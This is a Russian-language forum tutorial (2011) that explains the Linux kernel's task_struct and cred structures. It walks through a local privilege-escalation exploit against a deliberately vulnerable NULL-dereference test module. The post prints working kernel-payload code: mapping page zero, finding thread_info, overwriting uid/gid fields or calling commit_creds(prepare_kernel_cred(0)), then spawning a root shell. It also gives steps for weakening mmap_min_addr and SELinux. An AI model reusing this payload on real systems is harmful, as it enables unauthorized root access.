В посте оформлены кусочки инфы по структуре task_struct в ядре Linux. Ничего нового или эксклюзивного, но вероятно будет интересно тем, кто хочет разобраться в kernel части ядерных эксплойтов, не читая 1100 страниц Understanding the Linux Kernel.
Из-за внедрения в линуксе разнообразных защит ныне редко удается встретить эксплойт под такие стандартные для конца 90х - начала 2000х баги как переполнение буфера в демонах. Поэтому большой процент современных локальных эксплойтов эксплуатируют баги самого ядра линукс (их немало, вероятно, из-за большого объема кода и активной разработки).
Стандартным принципом работы ядрёных эксплойтов является инициирование выполнения кода в режиме ядра (kernel mode) по нашему указателю. Наиболее распространенным примером является тип уязвимостей NULL pointer dereference (разыменование указателя на NULL), который хорошо описан в блоге компании Ksplice [http://blog.ksplice.com/2010/04/exploiting-kernel-null-dereferences/], автор Nelson Elhage.
Пояснение работы эксплойтов приводится на основе кода, эксплуатирующего NULL pointer dereference, которая создается модулем ядра nullderef.ko из статьи с блога Ksplice (см. выше).
Поехали
Архив внизу поста содержит сам модуль ядра, а также эксплойт newrootme.c для него. Функциональность модуля состоит в выполнении кода в режиме ядра по указателю, лежащему по адресу NULL, если мы запишем что-либо в файл /sys/kernel/debug/nullderef/null_call
Код:
struct my_ops {
ssize_t (*do_it)(void);
};
/* Define a pointer to our ops struct, "accidentally" initialized to NULL. */
static struct my_ops *ops = NULL;
/*
* Writing to the 'null_read' file calls the do_it member of ops,
* which results in reading a function pointer from NULL and then
* calling it.
*/
static ssize_t null_call_write(struct file *f, const char __user *buf,
size_t count, loff_t *off)
{
return ops->do_it();
}
Установка модуля: make, а затем sudo ./install.sh
install.sh сделан для удобства, он содержит команды:
mount debugfs -t debugfs /sys/kernel/debug/ (необходимо для работы модуля),
insmod nullderef.ko (установка модуля),
echo 0 > /proc/sys/vm/mmap_min_addr (разрешение делать mmap по адресу NULL, это необходимо для работы эксплойта)
Offtop: начиная с ядра 2.6.23 для затруднения эксплуатация NULL pointer dereference минимальный адрес по умолчанию 4096 или выше.
Если используется SELinux, то потребуется его отключить.
Начнем разбор newrootme.c (код на pastebin: http://pastebin.com/dMdgQVE3)
Функция main():
Код:
uid = getuid(); gid = getgid();
узнаем текущие uid и gid, которые затем будем искать в памяти и менять на рутовые 0.
узнаем версию ядра для правильной работы с ядрами >=2.6.29 (заметно поменялся формат task_struct, о чем ниже).
Код:
prepare_kernel_cred = get_ksym("prepare_kernel_cred");
commit_creds = get_ksym("commit_creds");
a_printk = (unsigned long)get_ksym("printk");
С помощью функции get_ksym достаем соответствующие экспортируемые символы из /proc/kallsyms (они понадобятся в режиме ядра, так printk - это аналог printf).
Код:
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
void (**fn)(void) = NULL;
*fn = get_root;
mmap'им страницу памяти (4kb) по адресу NULL, а затем кладем туда адрес функции get_root. По этому адресу и пойдет выполнение кода в режиме ядра после эксплуатации NULL pointer dereference в модуле ядра, который мы установили.
Это легко проверить в дебаггере (компилируем: gcc newrootme.c -o newrootme -ggdb): gdb ./newrootme
Цитата:
gdb$ b newrootme.c:131
Breakpoint 1 at 0x8048dd1: file newrootme.c, line 127.
gdb$ r
pid=2943
Breakpoint 1, main () at newrootme.c:127
131 void (**fn)(void) = NULL;
gdb$ step
132 *fn = get_root;
gdb$ x/4x 0x0
0x0: 0x00000000 0x00000000 0x00000000 0x00000000
gdb$ step
135 int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
gdb$ x/4x 0x0
0x0: 0x08048914 0x00000000 0x00000000 0x00000000
gdb$ print get_root
$1 = {void (void)} 0x8048914 <get_root>
|
Как видно после выполнения *fn = get_root; по адресу NULL наблюдается адрес функции get_root().
Код:
int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
write(fd, "1", 1);
после записи единицы в /sys/kernel/debug/nullderef/null_call, модуль ядра начнет выполнять нашу функцию get_root() в режиме ядра.
Код:
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
if (getuid() == 0)
system("/bin/sh");
здесь у нас уже должны быть привилегии рута, поэтому выводятся id'ы и если uid=0, то запускаем шелл.
Функция get_root():
Теперь функция get_root(), в которой и происходит всё действо.
В этой функции мы уже находимся в режиме ядра, поэтому надо быть осторожным и не сделать ядру oops :)
Код:
void (*printk)(const char*fmt, ...) = (void *) a_printk;
printk("We're in kernel, w00t-w00t!\n");
воссоздаем ядерную функцию printk() по адресу, который мы получили из /proc/kallsyms в main(), и пишем тестовое сообщение, которое будет видно в /var/log/messages.
Код:
int i;
unsigned *p = *(unsigned**)(((unsigned long)&i) & ~8191);
создаем переменную i в стеке ядра.
Немного теории: стек ядра делит 4кб/8кб (в зависимости от дистрибутива, чаще - 8кб) размер со структурой thread_info как видно в
include/linux/sched.h:
Код:
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};
Т.е. thread_info находится раньше в памяти, чем стек ядра.
Поэтому мы обнуляем младшие 13 бит адреса i (находим начало двухстраничного (8 кб) thread_union) и получаем адрес структуры thread_info.
NB: Там где thread_union занимает 4 кб (встречается очень редко) вместо 8191=0x2000-1 нужно указать 4095=0x1000-1.
NB2: обнуление 13 бит для нахождения адреса thread_info не какой-то хитрый хак, а фича линукса для быстрого нахождения адреса thread_info. Так в ядре есть следующее макро, которое делает то же самое, что и код выше:
Код:
#define current get_current()
static inline struct task_struct *get_current(void)
{
register unsigned long sp asm ("sp");
return (struct task_struct *)(sp & ~0x1fff);
}
Т.е. берется значение указателя стека и также обнуляются младшие 13 бит (0x1fff = 0x2000-1 = 8191)
В эксплойтах также используется вставка на асме для нахождения адреса thread_info:
Код:
# get current task_struct...
movl $0xffffe000, %eax
andl %esp, %eax
Едем дальше.
Код:
printk("i addr: 0x%lx\n", (unsigned long)&i);
printk("thread_info addr: 0x%lx\n", (unsigned**)(((unsigned long)&i) & ~8191) );
printk("p (task_struct) addr: 0x%lx\n", p);
Выводим в /var/log/messages адреса i, thread_info и адрес той самой task_struct из заглавия поста, который (адрес) находится в самом начале thread_info, что видно в
arch/x86/include/asm/thread_info.h:
Код:
struct thread_info {
struct task_struct *task;
struct exec_domain *exec_domain;
__u32 flags;
__u32 status;
__u32 cpu;
int preempt_count;
mm_segment_t addr_limit;
struct restart_block restart_block;
void __user *sysenter_return;
#ifdef CONFIG_X86_32
unsigned long previous_esp;
__u8 supervisor_stack[0];
#endif
int uaccess_err;
};
Самое время ответить, зачем она нам нужна. Смотрим ее определение в
include/linux/sched.h:
Код:
struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
atomic_t usage;
unsigned int flags; /* per process flags, defined below */
...
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
struct group_info *group_info;
kernel_cap_t cap_effective, cap_inheritable, cap_permitted, cap_bset;
...
Здесь-то и хранятся id'ы, с которыми запущено наше приложение (или эксплойт). Их необходимо исправить на ноль, чтобы стать рутом. Приведенная структура task_struct действительна для ядер <2.6.29
<2.6.29
Код:
if(!new_style) // kernel<2.6.29
{
printk("kernel<2.6.29!\n");
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
{
printk("brute: found p[0]==uid: 0x%lx\n", p);
printk("brute: found p[1]==euid: 0x%lx\n", &p[1]);
printk("brute: $i in cycle: 0x%d\n", i);
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
}
в переменной p лежит найденный адрес task_struct, сама task_struct имеет размер в несколько килобайт (например, ubuntu 10.04 - 3264 байт). Поэтому мы проходим память task_struct и ищем регион, в котором 4 последовательные ячейки памяти имеют значение нашего uid (
uid_t uid,euid,suid,fsuid) и 4 следующие за ними ячейки имеют значение нашего gid (
gid_t gid,egid,sgid,fsgid). Как находим этот регион, пишем туда нули. Всё, *id=0 :)
В /var/log/messages выводится адрес uid и euid для любопытных.
Код:
p = (unsigned *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
Этот строчки зачастую необязательны, они ставят полные capabilities (
kernel_cap_t cap_effective, cap_inheritable, cap_permitted).
>=2.6.29
Теперь рассмотрим код для ядер >=2.6.29. В этих ядрах id'ы хранятся не в самой task_struct, а в отдельной структуре cred, указатель на которую хранится в task_struct:
Код:
struct task_struct {
[...]
/* process credentials */
const struct cred *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred *cred; /* effective (overridable) subjective task
* credentials (COW) */
[...]
А вот так выглядит структура cred:
Код:
struct cred {
atomic_t usage;
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
struct thread_group_cred *tgcred; /* thread-group shared credentials */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
Схема такая: проходим адресное пространство task_struct, выискивая 2 подряд идущих одинаковых указателя (*real_cred и *cred) на адрес в ядре (на x86 это >=0xc0000000). Как нашли, прыгаем туда, пропускаем первое поле (
atomic_t usage) и смотрим лежат ли следующими uid, gid, suid, sgid, euid, egid, fsuid, fsgid. Если это они, то обнуляем их. Voila!
Вот так это выглядит в коде:
Код:
else // kernel>=2.6.29
{
printk("kernel>=2.6.29!\n");
unsigned long *cred;
for (i = 0; i < 1024; i++)
{
cred = (unsigned long *)p[i];
if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
cred++; /* Get rid of the cred's 'usage' field */
if (cred[0] == uid && cred[1] == gid &&
cred[2] == uid && cred[3] == gid &&
cred[4] == uid && cred[5] == gid &&
cred[6] == uid && cred[7] == gid)
{
/* Get root */
printk("cred addr: 0x%lx\n", cred);
cred[0] = cred[2] = cred[4] = cred[6] = 0;
cred[1] = cred[3] = cred[5] = cred[7] = 0;
break;
}
}
}
}
cred = (unsigned long *)p[i]; - проходим task_struct
и ищем 2 одинаковых указателя на память в адресном пространстве ядра - if (cred == (unsigned long *)p[i+1] && cred >(unsigned long *)0xc0000000) {
cred++; - пропускаем первое поле (
atomic_t usage)
А дальше проверяем id'ы и обнуляем, если это то, что искали.
В /var/log/messages будет:
Цитата:
May 4 03:10:54 ubuntu kernel: [ 4942.470069] We're in kernel, w00t-w00t!
May 4 03:10:54 ubuntu kernel: [ 4942.470072] i addr: 0xd670ff4c
May 4 03:10:54 ubuntu kernel: [ 4942.470073] thread_info addr: 0xd670e000
May 4 03:10:54 ubuntu kernel: [ 4942.470074] p (task_struct) addr: 0xd0f6cc80
May 4 03:10:54 ubuntu kernel: [ 4942.470075] kernel>=2.6.29!
May 4 03:10:54 ubuntu kernel: [ 4942.470078] cred addr: 0xc668c084
|
commit creds on >=2.6.29
Если код прохода памяти для ядер <2.6.29 будет работать и на х86, и на х64, то код для >=2.6.29 на х64 не заработает, хотя бы из-за 0xc0000000 (на х64 PAGE_OFFSET=0xffff810000000000), возможно всплывут и другие проблемы (не тестировал).
Вообще на современных ядрах (>=2.6.29) с вводом структуры cred поменялись и рекомендации по апдейту id'ов. Теперь можно использовать функции struct cred *prepare_kernel_cred(), которая подготавливает новую структуру cred с нужными id, и commit_creds(), которая применяет новую структуру к текущему процессу.
Часть кода commit_creds() из
kernel/cred.c:
Код:
rcu_assign_pointer(task->real_cred, new);
rcu_assign_pointer(task->cred, new);
Видно, что она меняет указатели *cred и *real_cred в task_struct на новую структуру, подготовленную prepare_kernel_cred()).
Для проверки работы этого способа раскомментируйте строчку //#define USECOMMITCREDS 1 в начале newrootme.c и перекомпилируйте его. Если ядро >=2.6.29 и символы prepare_kernel_cred, commit_creds экспортируются, то данный код из get_root() даст рута:
Код:
#else
if(new_style)
commit_creds(prepare_kernel_cred(0));
#endif
Следует заметить, что метод прохода памяти по-прежнему придется использовать, если нет возможности узнать адреса prepare_kernel_cred или commit_creds.
Last call for alcohol
Код тестировался на:
Ubuntu 10.04 x86 (Linux ubuntu 2.6.32-24-generic #39-Ubuntu SMP Wed Jul 28 06:07:29 UTC 2010 i686 GNU/Linux)
Ubuntu 8.04 x64 (Linux ubuntu 2.6.24-26-generic #1 SMP Tue Dec 1 17:55:03 UTC 2009 x86_64 GNU/Linux)
Почитать:
Understanding the structure task_struct:
http://www.spinics.net/lists/newbies/msg11186.html
Процессы в Linux:
http://www.opennet.ru/base/dev/procc...linux.txt.html,
http://www.mjmwired.net/kernel/Docum...redentials.txt
Статью twiz & sgrakkyu в 64-ом Phrack (и их же книгу A Guide to Kernel Exploitation прошлого года).
SynQ, rdot.org
5/2011